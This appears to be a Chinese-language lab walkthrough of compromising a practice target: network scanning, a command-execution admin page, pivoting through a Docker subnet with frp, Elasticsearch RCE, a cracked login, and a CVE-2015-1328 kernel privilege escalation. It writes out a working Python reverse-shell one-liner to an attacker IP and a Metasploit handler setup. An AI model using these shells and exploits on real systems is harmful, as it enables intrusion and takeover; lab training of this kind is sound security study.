信息收集

扫描网卡网段,确定靶机IP地址,使用arp-scan -l

image-20241230115322898

可以知道靶机IP是192.168.20.131,接下来用fscan扫描开放端口

image-20241230115629580

只扫出来了22端口,换nmap扫,指令nmap -O -sV -p- -A 192.168.20.131

image-20241230115918963

扫出来了5000端口,而且是http服务,用python搭的,我们直接网页访问即可

image-20241230120105251

是一个留言系统,针对这种带输入框的,要么打xss,要么打命令执行rce,再不济就是ssti,我们挨个试就完了

image-20241230120817839

发现啥都不行,抓包也没发现其他东西,我们这时候扫一下存不存在后门路径

image-20241230121129677

发现存在admin路由,我们尝试访问一下,看看能发现什么

image-20241230121238975

存在命令执行,我们直接反弹shell即可

反弹shell

在命令执行框中输入反弹shell代码,经过测试,只有下面这种可以成功反弹shell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.20.143",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

很有可能是这只能执行python的脚本有关,不能单独执行bash命令

image-20241230123530973

成功反弹shell

image-20241230123808807

我们发现在对方的docker中,我们执行ip a命令,发现ip地址和之前不对

image-20241230130700251

大概率是因为对方处于内网中,网段为172.17.0.3/16,接下来我们进行内网穿透即可,我们使用frpc进行内网穿透

内网穿透

我们这里尝试使用msf进行接收shell,因为msf能更好的添加内网路由

use exploit/multi/handler 
set payload cmd/unix/reverse_bash
set lhost 192.168.20.143
set lport 9001
run

image-20241230162658570

我们先保存在background中,然后我们开启新的模块去添加路由,如下所示,添加路由失败了,我们只能用代理工具了,这里使用的是frp进行代理

首先在我们的虚拟机上开启服务端,如下所示

image-20241230162715898

用python开启一个web服务,让靶机下载我们的frpc以及frpc.ini,其中frpc.ini中的serverip改成kali的ip即可

image-20241230162732148

成功挂上代理,用fscan扫描存活主机,如下所示

image-20241230162745732

这里不知道为什么可以ping通,但是nmap就是扫不出来,后续参考别人的wp做的

权限横移

通过Elasticsearch 低版本漏洞进行rce,可以直接拿到172.17.0.2主机的root权限

image-20241230162758211

在根目录下发现密码文件,拿去hash破解即可

image-20241230162810222

最后只有这个用户可以登陆

john:1337hack

我们用ssh连接即可

image-20241230162825315

权限提升

拿到主机的ssh权限后肯定要提升道root权限

image-20241230162840517

由上图可知,sudo提权不存在,我们接下来去找suid提权

image-20241230162851010

我们发现也没有什么很值得利用的点,接下来去看内核版本

image-20241230162902934

版本挺低的,网上可以搜到相关的漏洞

img

直接把exp下载下来运行即可

image-20241230162918031

gcc编译一下

img

发现靶机没有gcc文件,只能我们攻击机编译后传输过去,首先我们观察一下这个c文件

image-20241230162942851

我们发现里面会创建一个so文件,而且在执行的时候会调用,所以我们在攻击机上生成的时候要把so文件找到一并传输过去

image-20241230162956692

我们把这一串代码删除即可,因为我们会手动传输到指定位置

locate ofs-lib.so
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so /root

然后全部传输到靶机上即可,记住一定要在/tmp目录下操作

image-20241230163008368

给权限执行即可,可以成功拿到root权限

总结

这道题还是有难度的,不仅仅是简单的靶机渗透,带了点内网东西在里面,环境调试起来比较麻烦,认真打下来虽然有些点很恼火,但可以学到一些新的思路,就是在docker里面不一定通过docker逃逸,可以看自己的IP是否改变来判断是不是同一台机子吧